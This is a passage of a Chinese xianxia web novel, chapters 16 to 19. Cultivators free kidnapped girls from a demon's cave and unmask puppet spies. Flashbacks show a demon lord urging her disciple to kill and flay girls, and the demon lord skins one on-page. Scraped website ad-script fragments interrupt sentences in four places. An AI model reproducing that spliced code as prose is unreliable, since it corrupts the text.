“怎么了阿凌,什么事情让你这样慌张。” 魔尊并不像魔尊,如果忽略她脸上从不摘下的,吓人的鬼面,她似乎只是一个温柔的,身型窈窕的普通女子。 “是这样啊,”魔尊若有所思,“抑制不住魔气,可能是阿凌要突破境界了呢。阿凌是觉得这些青鳞不好看吗。” “那去杀几个人,把她们的皮剥下来就好了呀。” “这样就可以了吗?” 魔尊捧起她的脸,温柔地注视着她:“是啊。阿凌想要什么,就去拿就好了。” “这个世界上有的人生来过得幸福,有的人生来过得不幸福。和选择,和努力一点关系也没有。有人生来锦衣玉食前呼后拥,有人生来命如草芥,要与野狗争食。可是阿凌,不幸运并不是你的错啊,想要过得好一点又何罪之有呢。他们天生亏欠你的。” “不管发生什么事,师尊都会永远支持你的。” “我不恨她过得好。”司凌抬起泪眼看着魔尊,“可是如果她还活着,我过得这些年又算什么。我以为我杀了她,我以为她死了。我离开晓雾峰,我愧疚地活了这么些年。” “阿凌想做什么,去做就好了。”魔尊的手指温柔地抚过她渐渐长出青鳞的脸,彷佛那其实一点也不可怖,而是她最可爱的孩子。 “劳烦二位仙长了。”年轻的未亡人领着孟婷和洛禺朝封霁川失踪的婚房走去。 “在新婚之夜由新人亲手取下红绳,是我们这里的传统。” 不对。 她有问题。 到底是哪里有问题。 “婷婷怎么还在发呆,”孟婷被突然凑过来的师月白吓了一跳,“师尊叫我们都过去。” 不知道是不是猫科动物的调性,即便是人形的师月白,走路也不怎么出声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 孟婷连忙从洞窟的角落起身,却因为蹲得过于久了,被师月白扶了一把才勉强稳住身形。 “我在想那个温夫人......” “温致宁?”洛禺皱眉想了想,“为什么啊,怎么感觉你从一开始就怀疑她了。” “说不上来,就是觉得奇怪。一开始她表现很正常,后来不知道怎么的,感觉她对我们突然就有些莫名其妙的敌意。” “讨论这些没有意义,先从这层幻境里出去。”谢珩神色淡淡地插言。 凌霄剑崭破虚空,眼前的画面仿佛被瞬间撕裂。在绝对的修为压制下,幻境的规则早就失去的意义。 散落的红茧和少女的人皮在剑光后瞬间消失,化为一缕缕烟雾,仿佛从未存在。洞窟的四角,几盏红烛悄然亮起,烛火摇曳不定,映出石壁上几人的阴影,犹如轻轻扭动的幽灵。 烛光温柔摇曳,竟有几分神秘的凄美。 师月白之前被谢珩捂住了眼睛,直到现在才被松开,她偏了偏头,对眼前的景象感到疑惑。 “这是......魂灯?”孟婷有些诧异地看着那几盏摇曳的烛灯,下意识脱口而出。 “不算不学无术。”谢珩点评。 还在想着这阴湿洞窟哪来蜡烛的洛禺顿时觉得自己受到了严重的冒犯。好在师月白紧接着就问了一句魂灯是什么,把他从尴尬中拯救了出来。 “魔修的手段,杀死人或是动物之后,取其魂魄炼化成灯,”谢珩抬手,取过一盏魂灯,魂灯的火苗在靠近阳气充沛的活人之后瞬间弱了许多,“可镇压比自己修为高几倍的修士。” 孟婷诧道:“可是师伯,幻境已破,他们为什么不愿意重入轮回呢。” “她们大概还有遗愿未了。”谢珩蹙眉,指了指洞窟一角的窄道,“魂灯和失踪少女的人数对不上,应该还有幸存者,你们从这里出去找找吧。我一会儿就来。” 师月白似乎有些不愿意离开谢珩身边,但是最后还是乖巧地点了点头:“那师尊快点来找我们。” 洞窟仅有一条半人高的窄道,谢珩看着师月白在孟婷后面钻进了窄道,不由得出口叮嘱:“小心头,别碰着了。” 师月白遥遥地应了一声,很快就消失在窄道尽头。 魂魄不肯散去,想来是有冤屈或是遗愿难平。活灵阳气重,自然无法与之交流。 唯有抽去阳气,才能让亡魂近身。 谢珩闭上眼睛,逐渐抽离阳气,使之附于剑上。他的脸色迅速变得苍白,体温也很快开始下降。随着最后一缕阳气的抽离,他感到一阵轻微的眩晕,仿佛失去了重力,飘荡在无尽的虚空中。 还好没让小白,见到自己这样狼狈的样子。 魂魄在他眼前,逐渐会聚成形,显出狰狞的样子来,那似乎是几个人形,但是轮廓却狰狞可怖,还有黏糊糊的液体不断顺着空荡荡的衣袖留下来。 谢珩神色如常,没有丝毫惊惧。 “以清山谢珩,会为诸君做主。” 16. “师尊!” 很小的时候,温致宁就知道,自己不是爹娘的亲生女儿。 爹爹从河里捡到她的时候,她几乎已经没了气息,肩不能挑背不能扛的书生爹爹抱着她跑了好几里路送到郎中那里,才救回了她一条小命。 她身体不好,当时还没结婚的爹爹挨家挨户地讨羊奶把她喂大。后来爹爹得娶了娘亲,娘亲也把她当亲生闺女看待。爹爹总说,温致宁是他的小福星,从前他考不上科举娶不起老婆,村里人都看不起他。自从捡到了温致宁后,不仅讨了个能干的老婆,后来竟然还中了举人。 娘亲笑说看来啊,是我有做举人老婆的命,致宁有做大小姐的命。温致宁在那里咯咯地笑。 爹爹则一把搂住她们母女二人,说他是沾了她们娘俩个的光。 因为身体不好,她在六岁的时候发了一次严重的烧。爹娘和大夫守了她一整夜,醒来之后她对从前的事就记的迷迷糊糊了。 不过六岁的孩子本来也不记得什么,只是长大后想起来,觉得找回亲生父母的希望又渺茫了许多。 养父母待她如亲女,她也觉得平生遇见他们是她平生最幸运的事情。可是想到若是亲生父母数十年来因为她的失踪辗转反侧,又觉得有些遗憾此生无法再找到他们了。 后来爹爹去司州做了太守,穷苦出生的爹爹深知百姓疾苦,减税免徭,是年以来,政通人和,百废俱兴,在司州颇有名望。 温致宁才貌双全,父亲又有贤名在外,及笄之后,提亲的媒人几乎踏破了门槛,连当朝公主也叫上驸马上门提了亲。 爹爹本不想叫她高嫁,免得受了委屈,于是先是回绝了驸马。结果次日公主亲自上了门,公主言谈有礼,毫无倨傲之意,只是言明自家绝不会亏待温小姐,两家门当户对,八字又是难得的契合,犬子又十分满意致宁。 驸马本就是温父的同窗,彼此知根知底,加上公主和那封公子也都是好性情好脾气,于是温家父母生了些犹豫,只问温致宁自己做如何想。 她只见过那个封公子一面,隔着屏风遥遥一眼。那人彬彬有礼,丰神俊朗,并不令人讨厌。 于是亲事被定下来,门当户对,知根知底,品貌俱佳,无人不称道这是段金玉良缘。 温致宁也是欢喜的,她见过婆母,她温和有礼,和母亲相谈甚欢,封家离温家也不远,可以时常回家去看爹娘。 当新娘子的时候,谁都是欢喜的。即使是出生在富庶的太守家,嫁衣也是温致宁从未见过的好看。 丫鬟给她画的妆也漂亮极了,温致宁在镜子前照了好一阵,直到母亲来催促她莫耽误了吉时。 “小丫头,还在这臭美呢,小桃你不都带去封家了,喜欢这妆让她天天给你画。” “我是舍不得母亲......” “净在这贫嘴,两家就隔了几步路,我烧好面给你送过去都没坨,赶紧上轿子了,磨磨蹭蹭的。” 喜轿已经等在了门口,温致宁掀开帘子,想和母亲再做个鬼脸,被母亲瞪了回去。 失去意识的前一秒,她看见了一张,和自己一模一样的脸。 醒来之后,潮湿阴暗的洞窟内,是二十三个和自己年纪相仿的少女。 她的身上还穿着那身出嫁的喜服,沾上了潮湿的水汽,变得阴湿而笨重。 少女们眼中尽是悲戚和绝望,说每隔三日,魔头就会来带人走,被带走的人再也没有回来过。 洞窟里的时间,仿佛是不会动的,待了这么些日子,她们不会饿,如果奈不住不知死亡何时而至的恐惧想要自戕,身体不多时就会恢复原样。 温致宁说,要相信官府会来找她们的。 可是别的姑娘说,要指望官府面对魔头,简直是痴人说梦。 温致宁醒来的第二日,魔头带走了那个最开始和她搭话的姑娘。 爹爹娘亲会带人来救她们的。温致宁蜷缩在洞窟的角落,抱着自己的手臂想着。 第五日,她好不容易入了睡,却在浅眠中被人挑起了下巴,她睁开眼睛,细细密密的青鳞生满了那人的肌肤,看不清真容。 那天,一个女孩也没有被抓走,本该庆幸的人们却更加惶恐不安。 会有人来救她们吗,还是说,她们只能等待既定的死亡了。 “有活人的气息,”师月白努力辨别着空气里的气息,“走这边。” 潮湿的岩壁生出了绵绵的青苔,墙壁上不断渗出的水滴,滴落在地面,发出沉闷的回响。三人俯身在狭窄的窄道里走着,连一向喜欢打趣的洛禺也说不出话来。 活人的气息越来越重,有胭脂水粉潮化的味道。师月白几乎确认是前面就是关押那些失踪少女的地方,下意识加快了脚步,却因为地上太湿脚底打了个滑。孟婷眼疾手快地扶住她:“怎么这样着急,前面离那些失踪的人很近了吗?” “嗯,”师月白用力点头,“很近了。” “别紧张,”孟婷轻轻捏了捏她的手腕,“我们会救她们出来的。” 师月白的感觉是对的,魔气深重的结界横亘在他们眼前,眼前是另一个寻常的洞窟,但是三人都知道,就是这里了。 注满灵力的爆破符泛出幽蓝的光,将结界炸的粉碎,也惊动了如惊弓之鸟般的少女们。 爆炸声后,三个一身正气的年轻人出现在几乎已经接受了命运的少女面前。少年衣着华丽,有些玩世不恭的样子,黑发的少女温柔可亲,手里攥着几张神秘的符纸,另一个少女白发垂落肩头,如梅枝上层层叠叠的积雪。 “别怕,我们是来救你们的。”孟婷温声道。 师月白回忆着他们过来的路线,在到达这个洞窟之间有一条岔道,由他们来的洞窟,一条通向现在这里,另一条空气闻起来干燥许多,很可能通向外界。 洞窟里,共一十九个少女,孟婷仔细询问了她们的籍贯,基本都来自司州城内或是周边的地方,司州失踪的少女,除了惨死的几位,大概就全在这里了。 “你们真的能打败那个魔头吗?”一个女孩急切地问,目光中闪烁着一丝期待和不安。 “仙长,你们是来带我们走的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”另一名性格温柔的女孩低声补充,神情显得有些畏惧,“万一那魔头追过来怎么办,我不愿连累你们……” “别担心,我们会保护你们的。”孟婷安慰道,尽量让语气显得坚定而温柔。 “没事啊,没事,”洛禺毫不脸红地开始吹牛,“我师父是仙界第一符修楚悬,我师妹呢是我们仙门最努力最天分最有出息的弟子,保证把什么狗屁魔头都打得屁滚尿流。” 孟婷红着脸叫他别吹了。 “这位师妹呢,是千年白狮化形......” 师月白:“倒也没有千年.......还是先走吧。” 刚刚的爆破引爆了一些山石,来时的窄道没有之前来的难行了,只需微微低头便可通过。通过分叉的道口,向空气干燥些的岔道行了一段距离,师月白果真嗅到了稀薄的,草木泥土的味道。 她的眼睛亮了亮,向孟婷点点头。 “是这边吗?”孟婷传音给她。她们并不敢明着交流,以免把未知的焦虑传递给本就惊惧不堪的少女。 “是的。但是婷婷,我要去找找我师尊,他怎么还没跟过来,我怕我们太快了,他找不到我们。” 孟婷无奈地笑了笑,以谢师伯的修为,三界之内除了帝君和师祖,哪还有第三个敌手,还需要他们来担心吗,但是看着小白心神不宁的样子,也不好拦着她不去找谢珩,只好小声叮嘱:“快去快回。” “我和师尊走的很快的,马上就追上来。” 师月白很快折返,几乎化作一道白影就消失在了孟婷的视野,孟婷都有些怀疑她是化作原型跑过去的。 “佟家村,家中还剩下父亲一人,腿脚不好,提醒他莫要一个人修屋顶。好,我记下了,我会去帮忙修的。” “想要报仇,只有这个么。” “打猪草么,好。我会提醒你弟弟的。” “魂魄本不该滞留人间的,在这里停留这样久,你们也很辛苦吧。” 路的尽头传来的谢珩熟悉的,猫科动物轻巧的脚步声。 “回去吧.....” 抽离阳气本就是逆天而行,谢珩的意识在这一过程中仿佛也被撕扯得四分五裂,几乎要随着那些魂魄一并消散:“回到……你们该去的地方吧。” “师尊!” 师月白化作人形,几步冲上前,一把接住了已经几乎站不住的谢珩。即使隔着衣服,她也能感受到师尊身上几乎透骨的寒意。 谢珩在她怀里几不可查地微微发着抖。 “没事.......”谢珩安抚似的想要安慰小徒弟,“只是看着吓人,我歇一会儿就好。” 他的容色是惊心动魄的冰白,原本淡红的唇珠也失了颜色。 师月白抓住了他冷得像冰一样的手指,源源不断地把灵力渡了过去。 谢珩几乎已经失去意识,小徒弟的体温对现在他来说几乎是滚烫的,烫得他本能地想从她手中抽回手指。 可是这时一向温柔乖巧的小徒弟,却一把扣住了谢珩纤白的手腕。 17. 这是我和师尊的秘密 师尊无意识地靠在她怀里,身体冰凉而虚弱,连吐息凉得好像要在潮湿的洞窟里凝成霜雪。 师尊也会有这样虚弱的时候吗。那么温柔强大的,有他在就什么也不用担心的师尊,也会有这样虚弱的,苍白的,需要靠在她怀里的时候吗。 眼前的景象好像击中了她内心深处隐蔽的,不可言说的占有欲和保护欲,尽管她现在还不没有意识到这一点。师尊轻得像一剪秋风,师月白伸手就可以拦腰把他抱起来。 她也确实这样做了,她把谢珩抱了起来,缓步走到一处没那么潮湿的石壁边,抱着他坐下,让他靠在自己怀中。 在她还是一只小狮子的时候,她似乎不是趴在谢珩的腿上,就是被圈在他的怀里。有时候师尊想要把她哄睡之后去练剑,就会把她抱在怀里摇摇晃晃地走上许久,明明那时她尤其喜欢昼伏夜出,却总在这时候闹腾着不让谢珩去练剑。 谢珩在她怀里锁着眉,睫毛微微颤着,仿佛脆弱的蝶翼。因为她刚刚输过去的灵力,谢珩的脸色不再那么吓人了,唇珠也逐渐恢复了颜色。 “师尊.......” 谢珩的指尖动了动,师月白松开了攥着他手腕的手,从指尖缓缓把灵力送了过去。 “怎么......哭了。”谢珩睁开眼,先看见了小徒弟哭得红红的眼睛,下意识伸手去给她擦眼泪。 “没哭。”师月白别过脸去,抱紧了谢珩,把头埋在他的肩膀上。 谢珩的手指轻轻地落在了师月白的发顶,带着一丝不易察觉的颤抖,像是在安抚一只受惊的小兽。他的指尖穿过她柔顺的白色发丝,那是一种熟悉而又陌生的触感,让他的心中涌起一股莫名的柔情。 师月白的身体微微一僵,随即放松下来,那轻柔的触感让她感到安心,她闭上眼睛,任由师尊的手掌在她的头发上轻轻抚动。 “乖,”谢珩的声音低沉而沙哑,带着一丝疲惫,“师父歇一会就没事了。” 师月白轻轻地点了点头,将脸颊更紧地贴在师尊肩头上。 通灵之术是灵修的本行,谢珩的师尊齐姜诸武皆通,谢珩却只择剑道而学。与亡灵对话自有其他办法,但是这些含恨而终少女的怨气并没有浓烈到成为怨灵的地步,本就不能在世间过久停留,还剩下的方法就不剩几种了。 谢珩的通灵术学的不过尔尔,也不是什么爱惜自己身体的人,他本以为三个孩子破开结界救出剩下的少女应该还要好一会儿,足够他召阳气重回体内去和他们汇合,却没想到楚悬那个小徒弟居然意外的靠谱,这么快就打开了那魔修的结界。 师月白尤不肯放手,毛茸茸的脑袋不自觉地轻轻蹭着谢珩,散落的发丝如同细腻的绸缎,轻轻滑过谢珩的脖颈,带来一阵阵微妙的痒意,让谢珩心里泛起难以言说的温柔。 她鼻息间的热气轻轻落在谢珩的颈窝,谢珩只好拍着她的肩头轻轻哄着,试图用这种方式来安抚她的情绪。颈窝突然有了些湿意。那孩子又哭了。 “是师父错了,下次不会让你担心了,好不好。” 谁知他这么一说,师月白竟然呜咽出了声,挠得谢珩心里也难受了起来。他的手停在她的背上,一时之间不知该如何是好。 “我没想着要师尊给我道歉。”师月白依旧闷闷不乐,她缓缓松开了抱着他的手,扶着谢珩站了起来,似乎在努力压抑心中的委屈。 师尊的一辈子那么长,有那么多她没有参与的事情,没有她影响做出的决定,从前有,今后也未必没有。 “但是师尊为什么特意把我也支开,明明孟婷就很厉害,她一个人也可以破开结界。” 谢珩眼中闪过一丝惊讶,随即被不多的愧疚所取代。他有些爱怜地看着小徒弟,心里想着要如何解释。 “师尊是不是觉得我是......”师月白的声音渐渐低了下去,她全部学会的词句都来自她熟悉的人,而谢珩帝君楚悬孟婷这些人里面,没有一个人会说那样的词,于是一时间有些语塞。 “......觉得我是笨蛋,觉得我很好骗,不知道师尊是故意支开我的。” 谢珩忍不住笑了一下,苍白的脸上透出一点红润来。 刚刚化形成人的小灵兽,像个大人一样一本正经地质问他,可爱得不像样子。 “没有故意支开你,”谢珩有些无奈,“只是你们身上阳气太重了,魂魄会因为惧怕而不敢靠近。” 世间少鬼,也就是这个原因。滞留人间对于普通的鬼魂而言,无异于无尽酷刑。唯有执念极深的怨灵,才能凝神成形。 那些少女虽然横死,却始终没有形成足以存留世间的怨灵,魂灯吹熄之后,她们本该立即奔赴地府。 “她们......说什么了,”师月白想起那些惨死的少女,“我们是不是还是来得太慢了。” “不是你的错。”谢珩说,“人间总有憾事,你不可能救下每一个人。我们只能尽己所能。” 一千年前的巫山,他的师尊曾经问他为何只择剑道而习。他是齐姜仙尊座下首徒,齐姜仙尊大道三千无不通晓。仙人寿数近乎无穷,他本该和他的师尊一样阅遍三千大道。 “我一人一剑,就可守巫山千年,令邪祟宵小分毫不犯。”巫山分隔人魔两界,凡魔界进犯人间,皆自巫山而入。齐姜仙尊立山门于巫山,为守人间无虞。 齐姜仙尊座下七子,谢珩单修剑道,不是那个仙尊最满意,和她最肖似的弟子。 但是三百年前那一战,齐姜仙尊那个最满意的弟子,却与她一道陨落了。 血溅三尺,死在了谢珩的面前。 “人间总有憾事,不必介怀。”他喃喃地重复了一遍。 “师尊。”师月白初通人事,对人类的语言和情感表达还不是很熟练,但她能感觉到谢珩情绪的变化,就像她能感觉到换季时空气里的水汽,还有山 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间风的方向一样。 师尊不开心。 是因为没有救下那些女孩吗。 谢珩感觉到自己的指尖动了动,低头一看,小徒弟在他的小指指尖缠绕了一圈红绳,另一头则系在她自己的指尖。这红绳的形制让他感到熟悉,它与封霁川房间里那些婚礼仪式所用的红绳相似,但又有所不同,它更细,更精致,仿佛是特意编织的。 “刚刚捡的吗?”谢珩见师月白点了点头,有些无奈。 说这孩子胆子小吧,她连这种东西也敢捡来玩,说她胆子大吧,之前碰见这个修为不及她一半的麒麟都能把她吓得哭出来。 “上面有魔气的,”谢珩摇了摇头,察觉到自己的语气似乎有些责备,又放把声音放软了些,“听话,别玩这些。” 话虽如此,他却怕孩子难过,没有拆下指尖的红线,只是等着师月白自己收回去。 “清净咒呀,之前帝君教我的。”师月白的嘴角微微上扬,手指轻轻抚摸着那根缠绕在两人指尖的红绳,似乎在等待谢珩的夸奖。 谢珩用灵识仔细地探过红绳的每一寸。残余的一点魔气虽不至于带来什么灭顶之灾,他却不想让小白担上一丝一毫的风险,发现上面确实没有魔气残留,他这才放下心来。 小白怎么会对这样的东西感兴趣,是不是因为她化形后,自己没再给她准备什么玩的东西的缘故? 小白还没化形时,她总是喜欢蜷缩在他的怀里,用她那毛茸茸的小身体蹭来蹭去,那时候,他总是会为她准备各种各样的玩具,毛线球、羽毛、甚至还有他自己亲手做的小木鼠。 她一化形,便是十六七岁的少女模样,谢珩见对从前的毛线球和逗猫棒再无兴趣,以为她已经过了玩那些小孩子玩的玩具的年纪的,也就忘了给她准备人类小孩爱玩的玩具。但是自己性格古板无趣,小白和他两个人待在以清山上,若是没有些解乏的玩意儿,大概也会无聊吧。 等到这次事毕,还是带她去司州的市集里看看有没有什么喜欢的小玩意儿吧。 师月白捻了个诀,指尖的红线就引去不见了,指尖也不再有任何触感,好像消失了一样。 “也是帝君教的?”谢珩问。 帝君自己说什么大道无情,要寄情于众生,不可偏私,因而从未收过弟子。现在倒是教上他的徒弟了。 师月白没有回答,只是催促他扯一扯指尖的红线。 谢珩的眼中闪过一丝疑惑,但他还是依言轻轻地扯了扯红线。他的动作轻柔,仿佛害怕弄断了这根纤细的线。随着他的拉扯,红线微微颤动,原本隐去的红线再次显现出来。 “这是我和师尊的秘密,”师月白眨了眨眼睛,“帝君说这种术法,不管隔得再远都能感受得到。” “以后我不在师尊身边,师尊再要做这种事情,就扯一扯这个线,好让我知道。” “我知道之后,就马上跑回师尊身边来。” 18. 小白别怕,我很快就回来。 洞穴的地面阴暗湿滑,孟婷和洛禺一人在前引路一人断后,不时地提醒那些本就惶惶不安的少女小心脚下。 然而,其中一个姑娘还是没能留意脚下的危险,随着一声微弱的惊呼,她的脚下滑出,重重地摔倒在地,发出沉闷的声响。 走在她身侧的温致宁赶紧和前后几个其他姑娘把她拉了起来。其中一个懂些医术的姑娘迅速撩起摔倒女孩的裙子下摆,仔细检查她的脚踝。她的脚踝已经肿了起来,被触碰时,她下意识地发出一声微弱的呻吟。 “没事的,”那姑娘摇摇头,试图装作没关系的样子,“我还可以走的,不用管我。” 其他的姑娘却于心不忍地伸手扶住她:“我们扶着你走吧还是,若是真的走不动了,大家轮着背你走就好。” “对呀,我们大家这么多人,一人背你走几步路也不会累的。” 那姑娘愣了愣,因为疼痛的原因眼睛发着红,轻轻攀住了温致宁的手臂:“多谢。” “我叫温致宁,叫我致宁就好。姑娘你呢。” “樱桃。”女孩轻轻地说。 身后的岔道突然响起了一阵急促的脚步声,洛禺瞬间紧绷,警觉地转过头。然而就在他反应过来的瞬间,寒霜般的锋刃已然抵在了他的脖子上,冰冷的刀刃透着一丝威胁,让他不由自主地屏住了呼吸。这样的事情一回生二回熟,凌霜剑这次也没有散发出任何杀意。 他举起手来向那人求情,几分无计可施几分松弛和敷衍:“我学艺不精丢我师尊的脸了,师伯手下留情。” 更远处,谢珩的叹息无奈而又宠溺:“小白,别吓着你洛师兄了。” 师月白笑了笑,轻轻挑眉,把凌霜剑从洛禺脖子上取了下来,毫无杀气的剑刃滑过空气带来一丝凉意:“洛师兄明明就没在害怕嘛。” 洛禺的脸红了红,微微撇开头去。 “我明明就害怕死了,”洛禺可怜巴巴地嘟嘟囔囔,“没让师妹尽兴真是......抱歉啊。” “师兄你能再表演一下那个吗?” 周围原本惴惴不安的少女们被他们的打趣感染,纷纷投来好奇的目光,洞窟里压抑的氛围仿佛拨开了一层浓雾,连一直无比警惕的孟婷也因为谢珩和师月白的到来稍稍放下心来。 “就是那个,师兄你能再表演一下那个吗?”师月白眼巴巴地扑朔着睫毛,期待地看着洛禺。 少女们也纷纷把目光投向二人,看得连一向落落大方的洛禺也不知道为什么有些害羞了起来。 “就是那个.......” 洛禺面无表情:“师伯我真的是洛禺求你救我师妹,我上次在以清山逃课用以清山的炉子吃烧烤,后来我师尊来了没带鞭子拿你的剑抽的我,师伯我真是洛禺。” 有些性子开朗的姑娘不禁笑出了声,洛禺有些不好意思地挠了挠头:“别笑我嘛,你们要是天天在我们那山上学画符,每天就在那画符背符,画久了肯定也会想逃课的。” “不想。”孟婷冷不丁地插言,“我觉得画符挺有意思的。” 这下就连刚刚那个崴了脚愁眉苦脸的姑娘也笑了出声。谢珩的目光落在她身上,微微皱了皱眉。 “是樱桃姑娘吗?”谢珩问。 “我是。”她的声音轻微而谨慎,“仙长认得我么?” 樱桃抬眼看向谢珩,目光中带着一丝不安。她确认自己不曾见过这个人,心中难免生出疑惑。 “见过画像。”谢珩神色如常。 师月白并不记得见过什么画像,可是又觉得师尊不会说这样没用的话。 要悄悄问师尊吗,师月白心中很是犹豫。那样会不会让师尊觉得自己还是和从前一样笨啊。 她知道师尊是永远都不会觉得她笨的,从前她总是要花上好久才能扑到一只蝴蝶,扑到时她沾沾自喜,直到后来她想明白,那是师尊偷偷摸摸用术法让蝴蝶飞得慢上了许多。 师尊不会嫌她笨,但是她还是想叫师尊看到些自己的变化。 师月白的灵识悄悄探进了樱桃的灵识,想要看看有没有什么蛛丝马迹。 潮湿的洞窟在她的感知中显得愈发幽暗,蜿蜒的窄道仿佛无尽延伸。 人认知里的世界与现实的世界未必完全吻合,这是许多修士在学习灵识这一讲时的必修课。因为认知时常因为个人的感知变得更加情绪化。就像在师月白心中,以清山很高很高,可是实际上谢珩抱着她御剑而行,不到半炷香的时间便到了山下。 樱桃的灵识并无什么值得注意的异常之处。师月白不免有些失落。 还要再往里面探一些吗。她心下犹豫。 谢珩却在这时随机扣住了她的手腕,对她摇了摇头。 师尊?师月白抬眼看谢珩,对方的目光一直都落在自己身上。 “傀儡。”谢珩传音给她。 “和那个坊主一样,都是受人操纵的傀儡。坊主是为了引我们来这里,她应该是来监视我们行动,好汇报给幕后之人的,”他微微停顿,低声补充,“所以她才会故意摔断腿,好拖慢我们的脚步。” 师月白还没来得及问该如何应对,他们怀疑的对象就现身说法,浑身脱力瘫软地倒了下去,身旁的几个女孩眼疾手快地扶住了她。她的脸色无比苍白,惹得洛禺立刻怜香惜玉地凑了上前。 谢珩有些无奈,他没来得及传音给这个看似机灵实则步步往别人套里钻的师侄,还真是失策。 楚悬到底是从哪里找来的宝贝徒弟,看着机灵得像个猴,实则脑子比刚刚化形没几天的小白还要愣。 “很疼吗,我背着你吧。”洛禺关切地靠近几步,想从温致宁怀里接过樱桃。 樱桃双目垂泪,颇有我见犹怜之感:“不敢劳烦仙长,我自己.......歇一会儿就好。” 然而师月白却快了一步,轻盈地弯下身子,毫不费力地将樱桃背了起来。她的动作自然流畅,仿佛背一个身量同她相当的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成年女子就像喝水一样简单。 “师妹你.......好大的力气。”洛禺惊叹,目光中透出敬佩与惊奇。在决定英雄救美之前他粗略地估计了一下,以他的力气背这个看起来弱柳扶风的姑娘走个几里路应该问题不大,谁知道小白师妹居然这么天生神力,真是天将降大任啊。 “会不会太麻烦仙长了,仙长还是放我下来吧。”樱桃微微低下头,脸颊泛起红晕,似乎有些局促。 但是这样的局促落在已经知晓她身份的师月白眼中,却更像是她身份的隐秘印证。 “不沉,”师月白认真的说,“你再重两倍我也不费劲。” “劳烦仙长了。”樱桃低下头,有些羞赧地伏在师月白肩头。 师月白努力嗅了嗅,似乎已经能嗅出山野间雨后泥土的味道了。她知道出口就在前面,于是催大家赶紧加快脚步。 “仙长仙长,离开这里,我们就能回家了吗?”一个年纪最小的姑娘不禁喜上眉梢,亮晶晶的眼睛里闪着希望的光。 “这里大概在司州城西,”谢珩判断了一下周围的地形,“四周都是山地,距离最近的村落还有些距离。” “不过你说得不错,”谢珩对年纪小的孩子似乎多些耐心,“你们很快就可以回家了。” 随着前方逐渐显现出光亮,阴暗的通道似乎也在悄然扩展,众人心中皆感到一丝振奋。然而,当他们走到洞口时,谢珩的眉头却微微皱起,目光警惕地扫视四周。他立即示意大家靠近自己,让大家走到他身后去。 师月白像个小尾巴一样跟着师尊走到了前面,突然间,她身上背着的少女就被谢珩用及其粗暴的手段揪着衣领拽了下来,随着一声沉重的闷响,傀儡砸在地上,因为损坏露出了木质的内里。 周围的少女们愣住了,未曾反应过来,便被这一幕惊骇得尖叫出声,脸上满是恐惧与不解。 谢珩神色淡淡,眼神中却透出一丝少见的锋锐,“你觉得,到底是谁中了谁的计呢?” 他的声音不急不缓,却莫名地让人心中一凛。 损坏的傀儡彻底没了反应,谢珩拎着它,先一步走出了洞穴。师月白紧随其后地走了出去,却被眼前铺天盖地的尸人吓得后退了两步。 “这是尸傀,用活尸做的傀儡,”谢珩的声音低沉而清晰,他怕三个小辈听不懂,略作停顿,随后仔细解释道,“和这东西同根同源,应该是同一人所为。” 谢珩轻轻拽了拽红线,师月白指尖微微一颤,相连的红线几不可查地显露了不到一秒,然后又消失不见。 “小白别怕,我很快就回来。” 凌霄剑破空而出,直击前方的尸傀,瞬间无数傀儡应声而倒,四散崩裂,却同时又有无数尸傀入潮水般前仆后继地涌来,不知疲惫,仿佛是幕后之人在暗下嘲笑谢珩乾坤未定,谁是输家尚未可知。 谢珩单手手提着傀儡,凭虚而起,衣袂随风鼓动,瞬间引得尸傀改易方向,随他而去。 19. 只是想要当个脔宠玩玩吗? 魔界,十方血海。 瘦弱的女孩靠在魔尊的怀里,女人身上的体香浅淡而温柔,比起传闻中令人胆寒的魔尊,她更像是一位温柔的母亲。 “怎么在发抖呀,小阿凌。”魔尊低声询问。 魔物在血海拼死厮杀,胜者以败者为养料,撕咬它的血肉,准备下一场争斗。但是它们似乎很害怕司凌,即使在杀死对方的时候,它们也不敢把污秽的,深色的血溅到司凌华贵的衣服上面。 仿佛一面看不见的屏障,将她与尸山血海隔绝开来。 “你在害怕吗?” 女人轻笑了一声:“可是魔界最可怕的东西明明是我呀,阿凌怎么不害怕我。” 司凌伸手抓紧了女人的袖子:“师尊.......我不害怕师尊。” “那阿凌也就不用怕他们。这是魔界最低级的魔物,未开灵智,就算有充足的食物,也难以遏制厮杀的本能。阿凌是我的弟子,这魔界的一切生灵,都应该向你俯首才对。” 女人低下头,摘下了她从不离身的面具,坦荡地向司凌展露出她原本的样子。 和司凌想象的一样,是一张温柔的,并不令人惧怕的女人的脸。没有青面獠牙,没有狰狞吓人,也看不出她的年龄。 那种独特的,温柔而世俗的气质,如果用普通的美貌二字来夸赞,反而玷污了她。 “师尊.......” 魔尊看着女孩轻轻靠在自己怀里的样子,就像一只刚刚出生的小兽一样,全心全意地依赖着自己。 是很乖的孩子呢。 魔尊仿佛天生就会照顾孩子,原本瘦弱的司凌在她的照顾下变得白白胖胖,司凌本也不是笨孩子,学东西也很快,十多年光阴弹指而过,司凌修为见长,人也逐渐出落成了少女模样。 只是不知从哪里听到什么话本子,总说些要做师尊最锋利的刀这样奇怪的乱七八糟的话。她只当是孩子犯傻,她是魔界至尊,又有什么需要阿凌替她做的呢。 那日司凌夺路而逃,慌不择路地回到魔界,一头扎进她的怀里。 她问阿凌发生了什么,司凌说,遇见了自己曾经的双胞胎妹妹。二人的命运早已如洪水奔流般再不复返,司凌被人间当做异类,而那个死里逃生大难不死的女孩在人间过着原本对于她们来说天方夜谭的生活。 “那阿凌羡慕她吗?” 司凌还未反应过来,就下意识地摇了摇头:“我不羡慕她,我遇见师尊就很好了。” “但是阿凌难道不会偶尔地也想过一过那样的生活吗?” “我........”司凌低头,犹豫着没有立即作答,她不愿在师尊面前说谎。可是遇见师尊就已经很好了,她哪敢奢求更多。 魔尊亲自抓来了一个少女,当着司凌的面剥去了少女的人皮。 少女几乎没有任何痛苦的挣扎或是呻吟,只留下一具血肉模糊的尸体。 少女的人皮盖住了司凌因为修习魔道体表长出的青鳞,魔尊勾起她的下巴,让她在镜前看一看自己的脸。 